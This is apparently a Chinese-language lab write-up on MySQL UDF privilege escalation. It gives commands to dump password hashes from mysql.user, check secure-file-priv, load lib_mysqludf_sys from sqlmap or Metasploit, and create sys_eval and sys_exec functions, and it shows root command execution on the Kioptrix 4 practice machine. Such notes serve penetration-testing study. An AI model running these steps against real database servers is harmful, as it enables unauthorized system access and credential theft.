MySQL UDF提权
UDF
UDF是MySQL开放的自定义接口,用户可以设计自定义函数实现自定义功能。
UDF涉及的MySQL的版本区别
MySQL 5.0.67开始,UDF库必须包含在plugin文件夹中,可以使用’@@ plugin_dir’全局变量找到它。
获取MySQL基本信息
select @@version_compile_os, @@version_compile_machine;
获取操作系统信息,及运行的是64位还是32位
select @@version;
查询数据库版本
select @@basedir;
查询MYSQL安装路径
select @@plugin_dir ;
查看plugin路径
select host, user, password from mysql.user;
查询hash (MySQL <= 5.6 )
select host, user, authentication_string from mysql.user;
查询hash (MySQL >= 5.7 )
ps -ef|grep mysqld
查看mysql安装目录、数据目录等。
secure-file-priv参数在不同版本的默认值
secuue-file-priv参数,用于控制MySQL的导出。可以修改my.ini文件中的“secure-file-priv=”。
- 参数为NULL不允许导出。
- 参数为空则不做任何限制。
- 参数为路径则仅运行导出到指定路径。
- MySQL5.5版本:my.ini中无此参数,查询该参数情况为NULL
- MySQL5.6版本:my.ini中无此参数,查询该参数情况为空。
- MySQL5.7版本:my.ini中有此参数,查询该参数情况为数据目录下的Upload文件夹。
可见MySQL5.6版本默认配置可能存在被利用的风险。
lib_mysqludf_sys
lib_mysqludf_sys:具有与操作系统交互的功能的UDF库。这些函数允许您与MySQL运行的执行环境进行交互。
sqlmap和metasploit都已经支持该功能。sqlmap默认对文件进行了加密,使用前需用sqlmap自带的cloak.py密工具解密。
cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_
目标为windows时,lib_mysqludf_sys.dll;linux时,lib_mysqludf_sys.so
64位时使用_64,32位时使用_32
- sqlmap:
/usr/share/sqlmap/data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
/usr/share/sqlmap/data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
/usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
/usr/share/sqlmap/data/udf/mysql/linux/32/lib_mysqludf_sys.so_
- metaploit:
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
lib_mysqludf_sys可以提供以下函数执行系统命令:
- sys_eval,执行任意命令,并将输出返回。
- sys_exec,执行任意命令,并将退出码返回。
- sys_get,获取一个环境变量。
- sys_set,创建或修改一个环境变量。
创建UDF
创建UDF前需要将上述相应的的lib_mysqludf_sys文件上传到MySQL安装目录的lib/plugin文件夹内。(大于等于5.0.67)
创建UDF:
create function function_name returns string soname 'lib_mysqludf_sys_32.dll';
使用UDF:
select sys_eval(‘whoami’);
sys_eval/sys_exec/sys_get/sys_set对应修改命令的function_name即可。
删除UDF:
DROP FUNCTION function_name
查询已有UDFs
mysql.func Table中存放着所有UDFs,通过查询该表获取已有的UDFs。
SELECT * FROM mysql.func;
在kioptrix 4靶机中测试生成一个新的UDF
靶机本身已经上传了lib_mysqludf_sys文件,并已创建了一个sys_exec。我测试新建了一个sys_eval。
mysql> CREATE FUNCTION sys_eval RETURNS string SONAME "lib_mysqludf_sys.so";
Query OK, 0 rows affected (0.00 sec)
mysql> select * from mysql.func
-> ;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
| sys_eval | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
3 rows in set (0.00 sec)
mysql> select sys_eval('ls /home');
+-------------------------+
| sys_eval('ls /home') |
+-------------------------+
| john
loneferret
robert
|
+-------------------------+
1 row in set (0.00 sec)
sys_eval和sys_exec输出结果区别
sys_eval将返回执行结果,sys_exec返回退出码。sys_get和sys_set,后续遇到了再补充吧。
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root
|
+--------------------+
1 row in set (0.00 sec)
mysql> select sys_exec('whoami');
+--------------------+
| sys_exec('whoami') |
+--------------------+
| NULL |
+--------------------+
1 row in set (0.00 sec)
总结
利用前:
1、掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,能是root账号最好。
2、能够将lib_mysqludf_sys文件上传至lib/plugin文件夹内。
- select 代码 0xcode into dumpfile 路径
- 直接上传
3、能够创建sys_eval或sys_exec。
4、sqlmap和metasploit都集成了UDF提权。